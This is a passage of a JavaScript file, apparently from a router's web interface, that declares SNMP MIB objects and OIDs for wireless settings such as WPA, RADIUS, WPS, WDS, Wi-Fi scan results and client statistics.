arWEP128BitKeyIndex=WEP128BitKeyTable.WEP128BitKeyIndex;\nvar arWEP128BitKeyValue=WEP128BitKeyTable.WEP128BitKeyValue;\nvar arWEP128BitKeyStatus=WEP128BitKeyTable.WEP128BitKeyStatus;\n\nvar WPATable = new Table(\"WPATable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.26\");\nWPATable.WPAAlgorithm = new Column(\"WPAAlgorithm\",\"1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1\",2);\nWPATable.WPAPreSharedKey = new Column(\"WPAPreSharedKey\",\"1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2\",4);\nWPATable.WPAGroupRekeyInterval = new Column(\"WPAGroupRekeyInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.26.1.3\",66);\nWPATable.WPAReAuthInterval = new Column(\"WPAReAuthInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.26.1.4\",66);\nWPATable.WPAPreAuthEnable = new Column(\"WPAPreAuthEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.26.1.5\",2);\nvar arWPAAlgorithm=WPATable.WPAAlgorithm;\nvar arWPAPreSharedKey=WPATable.WPAPreSharedKey;\nvar arWPAGroupRekeyInterval=WPATable.WPAGroupRekeyInterval;\nvar arWPAReAuthInterval=WPATable.WPAReAuthInterval;\nvar arWPAPreAuthEnable=WPATable.WPAPreAuthEnable;\n\nvar RadiusTable = new Table(\"RadiusTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.27\");\nRadiusTable.RadiusAddressType = new Column(\"RadiusAddressType\",\"1.3.6.1.4.1.4115.1.20.1.1.3.27.1.1\",2);\nRadiusTable.RadiusAddress = new Column(\"RadiusAddress\",\"1.3.6.1.4.1.4115.1.20.1.1.3.27.1.2\",4, 1);\nRadiusTable.RadiusPort = new Column(\"RadiusPort\",\"1.3.6.1.4.1.4115.1.20.1.1.3.27.1.3\",66);\nRadiusTable.RadiusKey = new Column(\"RadiusKey\",\"1.3.6.1.4.1.4115.1.20.1.1.3.27.1.4\",4);\nRadiusTable.RadiusReAuthInterval = new Column(\"RadiusReAuthInterval\",\"1.3.6.1.4.1.4115.1.20.1.1.3.27.1.5\",66);\nvar arRadiusAddressType=RadiusTable.RadiusAddressType;\nvar arRadiusAddress=RadiusTable.RadiusAddress;\nvar arRadiusPort=RadiusTable.RadiusPort;\nvar arRadiusKey=RadiusTable.RadiusKey;\nvar arRadiusReAuthInterval=RadiusTable.RadiusReAuthInterval;\n\nvar MACAccessTable = new Table(\"MACAccessTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.28\");\nMACAccessTable.MACAccessIndex = new Column(\"MACAccessIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.28.1.1\",2);\nMACAccessTable.MACAccessAddr = new Column(\"MACAccessAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.3.28.1.2\",4, 1);\nMACAccessTable.MACAccessStatus = new Column(\"MACAccessStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.28.1.3\",2);\nMACAccessTable.MACAccessDeviceName = new Column(\"MACAccessDeviceName\",\"1.3.6.1.4.1.4115.1.20.1.1.3.28.1.4\",4);\nvar arMACAccessIndex=MACAccessTable.MACAccessIndex;\nvar arMACAccessAddr=MACAccessTable.MACAccessAddr;\nvar arMACAccessStatus=MACAccessTable.MACAccessStatus;\nvar arMACAccessDeviceName=MACAccessTable.MACAccessDeviceName;\n\nvar WMMCfg = new Container(\"WMMCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3.29\");\nWMMCfg.WMMEnable= new Scalar(\"WMMEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.1\",2);\nWMMCfg.WMMNoAck= new Scalar(\"WMMNoAck\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.2\",2);\nWMMCfg.WMMAPSD= new Scalar(\"WMMAPSD\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.3\",2);\nvar arWMMEnable=WMMCfg.WMMEnable;\nvar arWMMNoAck=WMMCfg.WMMNoAck;\nvar arWMMAPSD=WMMCfg.WMMAPSD;\n\nvar WMM50Cfg = new Container(\"WMM50Cfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3.63\");\nWMM50Cfg.WMM50Enable= new Scalar(\"WMM50Enable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.63.1\",2);\nWMM50Cfg.WMM50NoAck= new Scalar(\"WMM50NoAck\",\"1.3.6.1.4.1.4115.1.20.1.1.3.63.2\",2);\nWMM50Cfg.WMM50APSD= new Scalar(\"WMM50APSD\",\"1.3.6.1.4.1.4115.1.20.1.1.3.63.3\",2);\nvar arWMM50Enable=WMM50Cfg.WMM50Enable;\nvar arWMM50NoAck=WMM50Cfg.WMM50NoAck;\nvar arWMM50APSD=WMM50Cfg.WMM50APSD;\n\nvar WMMEDCAAPTable = new Table(\"WMMEDCAAPTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.29.4\");\nWMMEDCAAPTable.WMMEDCAAPIndex = new Column(\"WMMEDCAAPIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.1\",2);\nWMMEDCAAPTable.WMMEDCAAPCWmin = new Column(\"WMMEDCAAPCWmin\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.2\",66);\nWMMEDCAAPTable.WMMEDCAAPCWmax = new Column(\"WMMEDCAAPCWmax\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.3\",66);\nWMMEDCAAPTable.WMMEDCAAPAIFSN = new Column(\"WMMEDCAAPAIFSN\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.4\",66);\nWMMEDCAAPTable.WMMEDCAAPTxOpBLimit = new Column(\"WMMEDCAAPTxOpBLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.5\",66);\nWMMEDCAAPTable.WMMEDCAAPTxOpAGLimit = new Column(\"WMMEDCAAPTxOpAGLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.6\",66);\nWMMEDCAAPTable.WMMEDCAAPAdmitCont = new Column(\"WMMEDCAAPAdmitCont\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.7\",2);\nWMMEDCAAPTable.WMMEDCAAPDiscardOld = new Column(\"WMMEDCAAPDiscardOld\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.8\",2);\nvar arWMMEDCAAPIndex=WMMEDCAAPTable.WMMEDCAAPIndex;\nvar arWMMEDCAAPCWmin=WMMEDCAAPTable.WMMEDCAAPCWmin;\nvar arWMMEDCAAPCWmax=WMMEDCAAPTable.WMMEDCAAPCWmax;\nvar arWMMEDCAAPAIFSN=WMMEDCAAPTable.WMMEDCAAPAIFSN;\nvar arWMMEDCAAPTxOpBLimit=WMMEDCAAPTable.WMMEDCAAPTxOpBLimit;\nvar arWMMEDCAAPTxOpAGLimit=WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit;\nvar arWMMEDCAAPAdmitCont=WMMEDCAAPTable.WMMEDCAAPAdmitCont;\nvar arWMMEDCAAPDiscardOld=WMMEDCAAPTable.WMMEDCAAPDiscardOld;\n\nvar WMMEDCASTATable = new Table(\"WMMEDCASTATable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.29.5\");\nWMMEDCASTATable.WMMEDCASTAIndex = new Column(\"WMMEDCASTAIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.1\",2);\nWMMEDCASTATable.WMMEDCASTACWmin = new Column(\"WMMEDCASTACWmin\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.2\",66);\nWMMEDCASTATable.WMMEDCASTACWmax = new Column(\"WMMEDCASTACWmax\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.3\",66);\nWMMEDCASTATable.WMMEDCASTAAIFSN = new Column(\"WMMEDCASTAAIFSN\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.4\",66);\nWMMEDCASTATable.WMMEDCASTATxOpBLimit = new Column(\"WMMEDCASTATxOpBLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.5\",66);\nWMMEDCASTATable.WMMEDCASTATxAGLimit = new Column(\"WMMEDCASTATxAGLimit\",\"1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.6\",66);\nvar arWMMEDCASTAIndex=WMMEDCASTATable.WMMEDCASTAIndex;\nvar arWMMEDCASTACWmin=WMMEDCASTATable.WMMEDCASTACWmin;\nvar arWMMEDCASTACWmax=WMMEDCASTATable.WMMEDCASTACWmax;\nvar arWMMEDCASTAAIFSN=WMMEDCASTATable.WMMEDCASTAAIFSN;\nvar arWMMEDCASTATxOpBLimit=WMMEDCASTATable.WMMEDCASTATxOpBLimit;\nvar arWMMEDCASTATxAGLimit=WMMEDCASTATable.WMMEDCASTATxAGLimit;\n\nvar WPSCfg = new Container(\"WPSCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3.30\");\nWPSCfg.WpsMode= new Scalar(\"WpsMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.1\",2);\nWPSCfg.WpsConfigState= new Scalar(\"WpsConfigState\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.2\",2);\nWPSCfg.WpsDevicePIN= new Scalar(\"WpsDevicePIN\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.3\",4);\nWPSCfg.WpsDeviceName= new Scalar(\"WpsDeviceName\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.4\",4);\nWPSCfg.WpsModelName= new Scalar(\"WpsModelName\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.5\",4);\nWPSCfg.WpsMfg= new Scalar(\"WpsMfg\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.6\",4);\nWPSCfg.WpsResultStatus= new Scalar(\"WpsResultStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.7\",2);\nWPSCfg.WpsStatus= new Scalar(\"WpsStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.8\",2);\nWPSCfg.WpsConfigTimeout= new Scalar(\"WpsConfigTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.9\",2);\nWPSCfg.WpsSTAPin= new Scalar(\"WpsSTAPin\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.10\",4);\nWPSCfg.WpsPushButton= new Scalar(\"WpsPushButton\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.11\",2);\nWPSCfg.WpsBoardNum= new Scalar(\"WpsBoardNum\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.12\",4);\nWPSCfg.WpsModelNum= new Scalar(\"WpsModelNum\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.13\",4);\nWPSCfg.WpsUUID= new Scalar(\"WpsUUID\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.14\",4);\nvar arWpsMode=WPSCfg.WpsMode;\nvar arWpsConfigState=WPSCfg.WpsConfigState;\nvar arWpsDevicePIN=WPSCfg.WpsDevicePIN;\nvar arWpsDeviceName=WPSCfg.WpsDeviceName;\nvar arWpsModelName=WPSCfg.WpsModelName;\nvar arWpsMfg=WPSCfg.WpsMfg;\nvar arWpsResultStatus=WPSCfg.WpsResultStatus;\nvar arWpsStatus=WPSCfg.WpsStatus;\nvar arWpsConfigTimeout=WPSCfg.WpsConfigTimeout;\nvar arWpsSTAPin=WPSCfg.WpsSTAPin;\nvar arWpsPushButton=WPSCfg.WpsPushButton;\nvar arWpsBoardNum=WPSCfg.WpsBoardNum;\nvar arWpsModelNum=WPSCfg.WpsModelNum;\nvar arWpsUUID=WPSCfg.WpsUUID;\n\nvar WPSCfgEx = new Container(\"WPSCfgEx\", \"1.3.6.1.4.1.4115.1.20.1.1.3.30.15\");\nWPSCfgEx.WpsMethodPin= new Scalar(\"WpsMethodPin\",\"1.3.6.1.4.1.4115.1.20.1.1.3.30.15.2\",2);\nvar arWpsMethodPin=WPSCfgEx.WpsMethodPin;\n\n\nvar WPS50Cfg = new Container(\"WPS50Cfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3.65\");\nWPS50Cfg.Wps50Mode= new Scalar(\"Wps50Mode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.1\",2);\nWPS50Cfg.Wps50ConfigState= new Scalar(\"Wps50ConfigState\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.2\",2);\nWPS50Cfg.Wps50DevicePIN= new Scalar(\"Wps50DevicePIN\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.3\",4,1);\nWPS50Cfg.Wps50DeviceName= new Scalar(\"Wps50DeviceName\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.4\",4);\nWPS50Cfg.Wps50ModelName= new Scalar(\"Wps50ModelName\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.5\",4);\nWPS50Cfg.Wps50Mfg= new Scalar(\"Wps50Mfg\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.6\",4);\nWPS50Cfg.Wps50ResultStatus= new Scalar(\"Wps50ResultStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.7\",2);\nWPS50Cfg.Wps50Status= new Scalar(\"Wps50Status\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.8\",2);\nWPS50Cfg.Wps50ConfigTimeout= new Scalar(\"Wps50ConfigTimeout\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.9\",2);\nWPS50Cfg.Wps50STAPin= new Scalar(\"Wps50STAPin\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.10\",4,1);\nWPS50Cfg.Wps50PushButton= new Scalar(\"Wps50PushButton\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.11\",2);\nWPS50Cfg.Wps50UUID= new Scalar(\"Wps50UUID\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.14\",4,1);\nvar arWps50Mode=WPS50Cfg.Wps50Mode;\nvar arWps50ConfigState=WPS50Cfg.Wps50ConfigState;\nvar arWps50DevicePIN=WPS50Cfg.Wps50DevicePIN;\nvar arWps50DeviceName=WPS50Cfg.Wps50DeviceName;\nvar arWps50ModelName=WPS50Cfg.Wps50ModelName;\nvar arWps50Mfg=WPS50Cfg.Wps50Mfg;\nvar arWps50ResultStatus=WPS50Cfg.Wps50ResultStatus;\nvar arWps50Status=WPS50Cfg.Wps50Status;\nvar arWps50ConfigTimeout=WPS50Cfg.Wps50ConfigTimeout;\nvar arWps50STAPin=WPS50Cfg.Wps50STAPin;\nvar arWps50PushButton=WPS50Cfg.Wps50PushButton;\nvar arWps50UUID=WPS50Cfg.Wps50UUID;\n\nvar WPS50CfgEx = new Container(\"WPSCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3.65.15\");\nWPS50CfgEx.WpsMethodPin= new Scalar(\"WpsMode\",\"1.3.6.1.4.1.4115.1.20.1.1.3.65.15.2\",2);\nvar arWps50MethodPin=WPS50CfgEx.WpsMethodPin;\n\n\nvar WDSCfg = new Container(\"WDSCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.3.31\");\nWDSCfg.WDSEnable= new Scalar(\"WDSEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.3.31.1\",2);\nWDSCfg.WDSTableFreeIdx= new Scalar(\"WDSTableFreeIdx\",\"1.3.6.1.4.1.4115.1.20.1.1.3.31.2\",2);\nvar arWDSEnable=WDSCfg.WDSEnable;\nvar arWDSTableFreeIdx=WDSCfg.WDSTableFreeIdx;\n\nvar WDSBridgeTable = new Table(\"WDSBridgeTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.31.3\");\nWDSBridgeTable.WDSBridgeIndex = new Column(\"WDSBridgeIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.1\",2);\nWDSBridgeTable.WDSBridgeAddr = new Column(\"WDSBridgeAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.2\",4,1);\nWDSBridgeTable.WDSBridgeStatus = new Column(\"WDSBridgeStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.3\",2);\nvar arWDSBridgeIndex=WDSBridgeTable.WDSBridgeIndex;\nvar arWDSBridgeAddr=WDSBridgeTable.WDSBridgeAddr;\nvar arWDSBridgeStatus=WDSBridgeTable.WDSBridgeStatus;\n\nvar WiFiScan = new Container(\"WiFiScan\", \"1.3.6.1.4.1.4115.1.20.1.1.3.39\");\nWiFiScan.WiFiStartScan= new Scalar(\"WiFiStartScan\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.1\",2);\nWiFiScan.WiFiScanResult= new Scalar(\"WiFiScanResult\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.2\",2);\nvar arWiFiStartScan=WiFiScan.WiFiStartScan;\nvar arWiFiScanResult=WiFiScan.WiFiScanResult;\n\nvar WiFiScanResultTable = new Table(\"WiFiScanResultTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.39.3\");\nWiFiScanResultTable.WiFiScanIndex = new Column(\"WiFiScanIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.1\",66);\nWiFiScanResultTable.WiFiScanSSID = new Column(\"WiFiScanSSID\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.2\",4,1);\nWiFiScanResultTable.WiFiScanChannel = new Column(\"WiFiScanChannel\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.3\",66);\nWiFiScanResultTable.WiFiScanChannel2 = new Column(\"WiFiScanChannel2\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.4\",66);\nWiFiScanResultTable.WiFiScanRSSI = new Column(\"WiFiScanRSSI\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.5\",2);\nWiFiScanResultTable.WiFiScanNoise = new Column(\"WiFiScanNoise\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.6\",2);\nWiFiScanResultTable.WiFiScanMAC = new Column(\"WiFiScanMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.7\",4,1);\nWiFiScanResultTable.WiFiScanMfg = new Column(\"WiFiScanMfg\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.8\",4);\nWiFiScanResultTable.WiFiScanSupportedRates = new Column(\"WiFiScanSupportedRates\",\"1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.9\",4);\nvar arWiFiScanIndex=WiFiScanResultTable.WiFiScanIndex;\nvar arWiFiScanSSID=WiFiScanResultTable.WiFiScanSSID;\nvar arWiFiScanChannel=WiFiScanResultTable.WiFiScanChannel;\nvar arWiFiScanChannel2=WiFiScanResultTable.WiFiScanChannel2;\nvar arWiFiScanRSSI=WiFiScanResultTable.WiFiScanRSSI;\nvar arWiFiScanNoise=WiFiScanResultTable.WiFiScanNoise;\nvar arWiFiScanMAC=WiFiScanResultTable.WiFiScanMAC;\nvar arWiFiScanMfg=WiFiScanResultTable.WiFiScanMfg;\nvar arWiFiScanSupportedRates=WiFiScanResultTable.WiFiScanSupportedRates;\n\nvar WiFiClientInfoTable = new Table(\"WiFiClientInfoTable\", \"1.3.6.1.4.1.4115.1.20.1.1.3.42\");\nWiFiClientInfoTable.WiFiClientInfoIndex = new Column(\"WiFiClientInfoIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.1\",2);\nWiFiClientInfoTable.WiFiClientInfoIPAddrType = new Column(\"WiFiClientInfoIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.2\",2);\nWiFiClientInfoTable.WiFiClientInfoIPAddr = new Column(\"WiFiClientInfoIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.3\",4,1);\nWiFiClientInfoTable.WiFiClientInfoIPAddrTextual = new Column(\"WiFiClientInfoIPAddrTextual\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.4\",4);\nWiFiClientInfoTable.WiFiClientInfoHostName = new Column(\"WiFiClientInfoHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.5\",4);\nWiFiClientInfoTable.WiFiClientInfoMAC = new Column(\"WiFiClientInfoMAC\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.6\",4,1);\nWiFiClientInfoTable.WiFiClientInfoMACMfg = new Column(\"WiFiClientInfoMACMfg\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.7\",4);\nWiFiClientInfoTable.WiFiClientInfoStatus = new Column(\"WiFiClientInfoStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.8\",2);\nWiFiClientInfoTable.WiFiClientInfoFirstSeen = new Column(\"WiFiClientInfoFirstSeen\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.9\",4,1);\nWiFiClientInfoTable.WiFiClientInfoLastSeen = new Column(\"WiFiClientInfoLastSeen\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.10\",4,1);\nWiFiClientInfoTable.WiFiClientInfoIdleTime = new Column(\"WiFiClientInfoIdleTime\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.11\",2);\nWiFiClientInfoTable.WiFiClientInfoInNetworkTime = new Column(\"WiFiClientInfoInNetworkTime\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.12\",2);\nWiFiClientInfoTable.WiFiClientInfoState = new Column(\"WiFiClientInfoState\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.13\",4);\nWiFiClientInfoTable.WiFiClientInfoFlags = new Column(\"WiFiClientInfoFlags\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.14\",4,1);\nWiFiClientInfoTable.WiFiClientInfoTxPkts = new Column(\"WiFiClientInfoTxPkts\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.15\",2);\nWiFiClientInfoTable.WiFiClientInfoTxFailures = new Column(\"WiFiClientInfoTxFailures\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.16\",2);\nWiFiClientInfoTable.WiFiClientInfoRxUnicastPkts = new Column(\"WiFiClientInfoRxUnicastPkts\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.17\",2);\nWiFiClientInfoTable.WiFiClientInfoRxMulticastPkts = new Column(\"WiFiClientInfoRxMulticastPkts\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.18\",2);\nWiFiClientInfoTable.WiFiClientInfoLastTxPktRate = new Column(\"WiFiClientInfoLastTxPktRate\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.19\",2);\nWiFiClientInfoTable.WiFiClientInfoLastRxPktRate = new Column(\"WiFiClientInfoLastRxPktRate\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.20\",2);\nWiFiClientInfoTable.WiFiClientInfoRateSet = new Column(\"WiFiClientInfoRateSet\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.21\",4,1);\nWiFiClientInfoTable.WiFiClientInfoRSSI = new Column(\"WiFiClientInfoRSSI\",\"1.3.6.1.4.1.4115.1.20.1.1.3.42.1.22\",2);\nvar arWiFiClientInfoIndex=WiFiClientInfoTable.WiFiClientInfoIndex;\nvar arWiFiClientInfoIPAddrType=WiFiClientInfoTable.WiFiClientInfoIPAddrType;\nvar arWiFiClientInfoIPAddr=WiFiClientInfoTable.WiFiClientInfoIPAddr;\nvar arWiFiClientInfoIPAddrTextual=WiFiClientInfoTable.WiFiClientInfoIPAddrTextual;\nvar arWiFiClientInfoHostName=WiFiClientInfoTable.WiFiClientInfoHostName;\nvar arWiFiClientInfoMAC=WiFiClientInfoTable.WiFiClientInfoMAC;\nvar arWiFiClientInfoMACMfg=WiFiClientInfoTable.WiFiClientInfoMACMfg;\nvar arWiFiClientInfoStatus=WiFiClientInfoTable.WiFiClientInfoStatus;\nvar arWiFiClientInfoFirstSeen=WiFiClientInfoTable.WiFiClientInfoFirstSeen;\nvar arWiFiClientInfoLastSeen=WiFiClientInfoTable.WiFiClientInfoLastSeen;\nvar arWiFiClientInfoIdleTime=WiFiClientInfoTable.WiFiClientInfoIdleTime;\nvar arWiFiClientInfoInNetworkTime=WiFiClientInfoTable.WiFiClientInfoInNetworkTime;\nvar arWiFiClientInfoState=WiFiClientInfoTable.WiFiClientInfoState;\nvar arWiFiClientInfoFlags=WiFiClientInfoTable.WiFiClientInfoFlags;\nvar arWiFiClientInfoTxPkts=WiFiClientInfoTable.WiFiClientInfoTxPkts;\nvar arWiFiClientInfoTxFailures=WiFiClientInfoTable.WiFiClientInfoTxFailures;\nvar arWiFiClientInfoRxUnicastPkts=WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts;\nvar arWiFiClientInfoRxMulticastPkts=WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts;\nvar arWiFiClientInfoLastTxPktRate=WiFiClientInfoTable.WiFiClientInfoLastTxPktRate;\nvar arWiFiClientInfoLastRxPktRate=WiFiClientInfoTable.WiFiClientInfoLastRxPktRate;\nvar arWiFiClientInfoRateSet=WiFiClientInfoTable.WiFiClientInfoRateSet;\nvar arWiFiClientInfoRSSI=WiFiClientInfoTable.WiFiClientInfoRSSI;\n\nvar AdvanceWirelessStats = new Container(\"AdvanceWirelessStats\", \"1.3.6.1.4.1.4115.1.20.1.1.3.46\");\nAdvanceWirelessStats.ResetCount= new Scalar(\"ResetCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.5\",2);\nAdvanceWirelessStats.TBTTCount= new Scalar(\"TBTTCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.6\",2);\nAdvanceWirelessStats.PMQOverflowCount= new Scalar(\"PMQOverflowCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.7\",2);\nAdvanceWirelessStats.PRTimeoutDropCount= new Scalar(\"PRTimeoutDropCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.8\",2);\nAdvanceWirelessStats.PSMWatchdogCount= new Scalar(\"PSMWatchdogCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.9\",2);\nAdvanceWirelessStats.PHYWatchdogCount= new Scalar(\"PHYWatchdogCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.10\",2);\nAdvanceWirelessStats.PRQEntriesHandled= new Scalar(\"PRQEntriesHandled\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.11\",2);\nAdvanceWirelessStats.PRQUndirectedEntriesHandled= new Scalar(\"PRQUndirectedEntriesHandled\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.12\",2);\nAdvanceWirelessStats.PRQBadEntriesHandled= new Scalar(\"PRQBadEntriesHandled\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.13\",2);\nAdvanceWirelessStats.ATIMSuppressCount= new Scalar(\"ATIMSuppressCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.14\",2);\nAdvanceWirelessStats.BCNTemplateNotReadyCount= new Scalar(\"BCNTemplateNotReadyCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.15\",2);\nAdvanceWirelessStats.BCNTemplateNotReadyDoneCount= new Scalar(\"BCNTemplateNotReadyDoneCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.16\",2);\nAdvanceWirelessStats.LateTBTTDPCCount= new Scalar(\"LateTBTTDPCCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.17\",2);\nAdvanceWirelessStats.PktEngineUnicastRxFramesCount= new Scalar(\"PktEngineUnicastRxFramesCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.18\",2);\nAdvanceWirelessStats.PktEngineMulticastRxFramesCount= new Scalar(\"PktEngineMulticastRxFramesCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.19\",2);\nAdvanceWirelessStats.RadioDisablesCount= new Scalar(\"RadioDisablesCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.20\",2);\nAdvanceWirelessStats.BPHYGlitchCount= new Scalar(\"BPHYGlitchCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.21\",2);\nAdvanceWirelessStats.SGITransmitCount= new Scalar(\"SGITransmitCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.22\",2);\nAdvanceWirelessStats.SGIReceiveCount= new Scalar(\"SGIReceiveCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.23\",2);\nAdvanceWirelessStats.STBCTransmitCount= new Scalar(\"STBCTransmitCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.24\",2);\nAdvanceWirelessStats.STBCReceiveCount= new Scalar(\"STBCReceiveCount\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.25\",2);\nvar arResetCount=AdvanceWirelessStats.ResetCount;\nvar arTBTTCount=AdvanceWirelessStats.TBTTCount;\nvar arPMQOverflowCount=AdvanceWirelessStats.PMQOverflowCount;\nvar arPRTimeoutDropCount=AdvanceWirelessStats.PRTimeoutDropCount;\nvar arPSMWatchdogCount=AdvanceWirelessStats.PSMWatchdogCount;\nvar arPHYWatchdogCount=AdvanceWirelessStats.PHYWatchdogCount;\nvar arPRQEntriesHandled=AdvanceWirelessStats.PRQEntriesHandled;\nvar arPRQUndirectedEntriesHandled=AdvanceWirelessStats.PRQUndirectedEntriesHandled;\nvar arPRQBadEntriesHandled=AdvanceWirelessStats.PRQBadEntriesHandled;\nvar arATIMSuppressCount=AdvanceWirelessStats.ATIMSuppressCount;\nvar arBCNTemplateNotReadyCount=AdvanceWirelessStats.BCNTemplateNotReadyCount;\nvar arBCNTemplateNotReadyDoneCount=AdvanceWirelessStats.BCNTemplateNotReadyDoneCount;\nvar arLateTBTTDPCCount=AdvanceWirelessStats.LateTBTTDPCCount;\nvar arPktEngineUnicastRxFramesCount=AdvanceWirelessStats.PktEngineUnicastRxFramesCount;\nvar 